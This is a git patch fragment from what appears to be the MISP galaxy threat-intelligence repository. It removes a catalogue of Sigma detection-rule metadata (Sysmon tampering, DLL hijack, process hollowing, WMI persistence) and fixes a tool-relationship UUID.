}, - { - "description": "Detects when an attacker tries to hide from Sysmon by disabling or stopping it", - "meta": { - "author": "frack113", - "creation_date": "2021/06/04", - "falsepositive": [ - "Legitimate administrative action" - ], - "filename": "sysmon_config_modification_status.yml", - "level": "high", - "logsource.category": "sysmon_status", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_status.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564" - ] - }, - "uuid": "1f2b5353-573f-4880-8e33-7d04dcf97744", - "value": "Sysmon Configuration Modification" - }, - { - "description": "Detects a threat actor creating a file named `iertutil.dll` in the `C:\\Program Files\\Internet Explorer\\` directory over the network and loading it for a DCOM InternetExplorer DLL Hijack scenario.", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR), wagga", - "creation_date": "2020/10/12", - "falsepositive": [ - "Unknown" - ], - "filename": "sysmon_dcom_iertutil_dll_hijack.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009183000.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_dcom_iertutil_dll_hijack.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002", - "attack.t1021.003" - ] - }, - "uuid": "e554f142-5cf3-4e55-ace9-a1b59e0def65", - "value": "T1021 DCOM InternetExplorer.Application Iertutil DLL Hijack" - }, - { - "description": "Triggers on any Sysmon file block executable event. Which should indicates a violation of the block policy set", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/16", - "falsepositive": [ - "Unlikely" - ], - "filename": "sysmon_file_block_exe.yml", - "level": "high", - "logsource.category": "file_block", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_block_exe.yml", - "https://medium.com/@olafhartong/sysmon-14-0-fileblockexecutable-13d7ba3dff3e" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "23b71bc5-953e-4971-be4c-c896cda73fc2", - "value": "Sysmon Blocked Executable" - }, - { - "description": "Detects when a memory process image does not match the disk image, indicative of process hollowing.", - "meta": { - "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Sittikorn S", - "creation_date": "2022/01/25", - "falsepositive": [ - "There are no known false positives at this time" - ], - "filename": "sysmon_process_hollowing.yml", - "level": "high", - "logsource.category": "process_tampering", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_process_hollowing.yml", - "https://www.bleepingcomputer.com/news/microsoft/microsoft-sysmon-now-detects-malware-process-tampering-attempts/", - "https://twitter.com/SecurePeacock/status/1486054048390332423?s=20" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055.012" - ] - }, - "uuid": "c4b890e5-8d8c-4496-8c66-c805753817cd", - "value": "Sysmon Process Hollowing Detection" - }, - { - "description": "Detects creation of WMI event subscription persistence method", - "meta": { - "author": "Tom Ueltschi (@c_APT_ure)", - "creation_date": "2019/01/12", - "falsepositive": [ - "Exclude legitimate (vetted) use of WMI event subscription in your network" - ], - "filename": "sysmon_wmi_event_subscription.yml", - "level": "medium", - "logsource.category": "wmi_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_event_subscription.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.003" - ] - }, - "uuid": "0f06a3a5-6a09-413f-8743-e6cf35561297", - "value": "WMI Event Subscription" - }, - { - "description": "Detects suspicious encoded payloads in WMI Event Consumers", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/09/01", - "falsepositive": [ - "Unknown" - ], - "filename": "sysmon_wmi_susp_encoded_scripts.yml", - "level": "high", - "logsource.category": "wmi_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/RiccardoAncarani/LiquidSnake", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_susp_encoded_scripts.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "attack.persistence", - "attack.t1546.003" - ] - }, - "uuid": "83844185-1c5b-45bc-bcf3-b5bf3084ca5b", - "value": "Suspicious Encoded Scripts in a WMI Consumer" - }, - { - "description": "Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers", - "meta": { - "author": "Florian Roth, Jonhnathan Ribeiro", - "creation_date": "2019/04/15", - "falsepositive": [ - "Legitimate administrative scripts" - ], - "filename": "sysmon_wmi_susp_scripting.yml", - "level": "high", - "logsource.category": "wmi_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/RiccardoAncarani/LiquidSnake", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_susp_scripting.yml", - "https://in.security/an-intro-into-abusing-and-identifying-wmi-event-subscriptions-for-persistence/", - "https://github.com/Neo23x0/signature-base/blob/615bf1f6bac3c1bdc417025c40c073e6c2771a76/yara/gen_susp_lnk_files.yar#L19" - ], - "tags": [ - "attack.execution", - "attack.t1059.005" - ] - }, - "uuid": "fe21810c-2a8c-478f-8dd3-5a287fb2a0e0", - "value": "Suspicious Scripting in a WMI Consumer" - } - ], - "version": 1 -} diff --git a/galaxies/sigma-rules.json b/galaxies/sigma-rules.json deleted file mode 100644 index f2334b9..0000000 --- a/galaxies/sigma-rules.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "description": "Sigma Rules are used to detect suspicious behaviors related to threat actors, malware and tools", - "icon": "link", - "name": "Sigma-Rules", - "namespace": "misp", - "type": "sigma-rules", - "uuid": "9cf7cd2e-d5f1-48c4-9909-7896ba1c96b2", - "version": 1 -} From 5c979ae55465f818d8c4ceb1123537cc5b2c1c17 Mon Sep 17 00:00:00 2001 From: Alexandre Dulaunoy Date: Tue, 22 Nov 2022 15:19:40 +0100 Subject: [PATCH 167/167] fix: [tool] Houdini relationship to something which exist (ok I know it's Houdini) --- clusters/tool.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/clusters/tool.json b/clusters/tool.json index 32ddca1..f8aa7d7 100644 --- a/clusters/tool.json +++ b/clusters/tool.json @@ -2644,7 +2644,7 @@ }, "related": [ { - "dest-uuid": "94466a80-964f-467e-b4b3-0e1375174464", + "dest-uuid": "11775f11-03a0-4ba8-932f-c125dfb66e35", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], @@ -8686,5 +8686,5 @@ "value": "FakeUpdates" } ], - "version": 157 + "version": 158 }